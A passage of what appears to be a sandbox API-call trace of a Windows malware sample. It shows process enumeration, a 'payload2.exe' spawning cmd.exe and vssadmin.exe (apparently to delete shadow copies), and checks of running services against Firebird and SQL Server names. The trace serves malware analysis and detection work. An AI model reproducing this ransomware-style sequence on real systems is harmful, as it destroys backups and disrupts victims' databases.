th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0034.515] lstrlenW (lpString="services.exe") returned 12 [0034.515] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0034.516] lstrlenW (lpString="lsass.exe") returned 9 [0034.516] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0034.516] lstrlenW (lpString="lsm.exe") returned 7 [0034.516] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.517] lstrlenW (lpString="svchost.exe") returned 11 [0034.517] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.518] lstrlenW (lpString="svchost.exe") returned 11 [0034.518] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.519] lstrlenW (lpString="svchost.exe") returned 11 [0034.519] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.519] lstrlenW (lpString="svchost.exe") returned 11 [0034.519] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.520] lstrlenW (lpString="svchost.exe") returned 11 [0034.520] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0034.521] lstrlenW (lpString="audiodg.exe") returned 11 [0034.521] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.521] lstrlenW (lpString="svchost.exe") returned 11 [0034.521] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.522] lstrlenW (lpString="svchost.exe") returned 11 [0034.522] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0034.523] lstrlenW (lpString="dwm.exe") returned 7 [0034.523] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0034.523] lstrlenW (lpString="explorer.exe") returned 12 [0034.523] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0034.524] lstrlenW (lpString="spoolsv.exe") returned 11 [0034.524] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.525] lstrlenW (lpString="taskhost.exe") returned 12 [0034.525] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.525] lstrlenW (lpString="svchost.exe") returned 11 [0034.525] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0034.526] lstrlenW (lpString="taskeng.exe") returned 11 [0034.526] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.527] lstrlenW (lpString="taskhost.exe") returned 12 [0034.527] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0034.527] lstrlenW (lpString="presidential.exe") returned 16 [0034.527] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0034.528] lstrlenW (lpString="ol-filing.exe") returned 13 [0034.528] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0034.529] lstrlenW (lpString="overcome.exe") returned 12 [0034.529] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0034.529] lstrlenW (lpString="declinedreferral.exe") returned 20 [0034.529] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0034.530] lstrlenW (lpString="franciscotrack.exe") returned 18 [0034.530] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0034.531] lstrlenW (lpString="nicholas.exe") returned 12 [0034.531] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0034.783] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0034.783] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0034.784] lstrlenW (lpString="word.exe") returned 8 [0034.784] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0034.785] lstrlenW (lpString="semestermeta.exe") returned 16 [0034.785] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0034.786] lstrlenW (lpString="reflects.exe") returned 12 [0034.786] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0034.786] lstrlenW (lpString="beveragesradios.exe") returned 19 [0034.786] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0034.787] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0034.787] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0034.788] lstrlenW (lpString="ground.exe") returned 10 [0034.788] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0034.789] lstrlenW (lpString="least.exe") returned 9 [0034.789] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0034.789] lstrlenW (lpString="meetings.exe") returned 12 [0034.789] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0034.790] lstrlenW (lpString="wooltestimony.exe") returned 17 [0034.790] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0034.790] lstrlenW (lpString="inexpensive.exe") returned 15 [0034.790] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0034.791] lstrlenW (lpString="er-amd.exe") returned 10 [0034.791] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0034.792] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0034.792] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0034.792] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0034.792] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0034.796] lstrlenW (lpString="mobsync.exe") returned 11 [0034.796] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0034.797] lstrlenW (lpString="dllhost.exe") returned 11 [0034.797] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0034.797] lstrlenW (lpString="dllhost.exe") returned 11 [0034.797] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0034.798] lstrlenW (lpString="payload2.exe") returned 12 [0034.798] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0034.799] lstrlenW (lpString="cmd.exe") returned 7 [0034.799] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0034.799] lstrlenW (lpString="conhost.exe") returned 11 [0034.800] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0034.800] lstrlenW (lpString="vssadmin.exe") returned 12 [0034.800] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0034.801] CloseHandle (hObject=0x1a4) returned 1 [0034.801] Sleep (dwMilliseconds=0x1f4) [0035.504] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29fbf0 [0035.504] EnumServicesStatusExW (in: hSCManager=0x29fbf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0035.505] GetLastError () returned 0xea [0035.505] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x123e) returned 0x26e060 [0035.505] EnumServicesStatusExW (in: hSCManager=0x29fbf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x123e, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0035.506] CloseServiceHandle (hSCObject=0x29fbf0) returned 1 [0035.506] lstrlenW (lpString="Appinfo") returned 7 [0035.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0035.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0035.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0035.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0035.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0035.506] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0035.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.506] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0035.506] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0035.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0035.506] lstrlenW (lpString="AudioSrv") returned 8 [0035.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0035.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0035.506] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0035.506] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0035.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0035.506] lstrlenW (lpString="BFE") returned 3 [0035.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0035.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0035.506] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0035.506] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0035.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0035.506] lstrlenW (lpString="CryptSvc") returned 8 [0035.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0035.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0035.507] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0035.507] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0035.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0035.507] lstrlenW (lpString="CscService") returned 10 [0035.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0035.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0035.507] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0035.507] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0035.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0035.507] lstrlenW (lpString="DcomLaunch") returned 10 [0035.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0035.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0035.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0035.507] lstrlenW (lpString="Dhcp") returned 4 [0035.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0035.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0035.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0035.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0035.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0035.507] lstrlenW (lpString="Dnscache") returned 8 [0035.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0035.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0035.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0035.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0035.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0035.507] lstrlenW (lpString="DPS") returned 3 [0035.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0035.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0035.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0035.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0035.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0035.508] lstrlenW (lpString="eventlog") returned 8 [0035.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0035.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0035.508] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0035.508] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0035.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0035.508] lstrlenW (lpString="EventSystem") returned 11 [0035.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0035.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0035.508] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0035.508] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0035.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0035.508] lstrlenW (lpString="gpsvc") returned 5 [0035.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0035.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0035.508] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0035.508] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0035.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0035.508] lstrlenW (lpString="iphlpsvc") returned 8 [0035.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.508] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0035.508] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0035.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0035.508] lstrlenW (lpString="LanmanServer") returned 12 [0035.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0035.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0035.508] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0035.508] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0035.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0035.508] lstrlenW (lpString="LanmanWorkstation") returned 17 [0035.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.509] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0035.509] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0035.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0035.509] lstrlenW (lpString="lmhosts") returned 7 [0035.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0035.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0035.509] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0035.509] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0035.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0035.509] lstrlenW (lpString="MMCSS") returned 5 [0035.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0035.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0035.509] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0035.509] 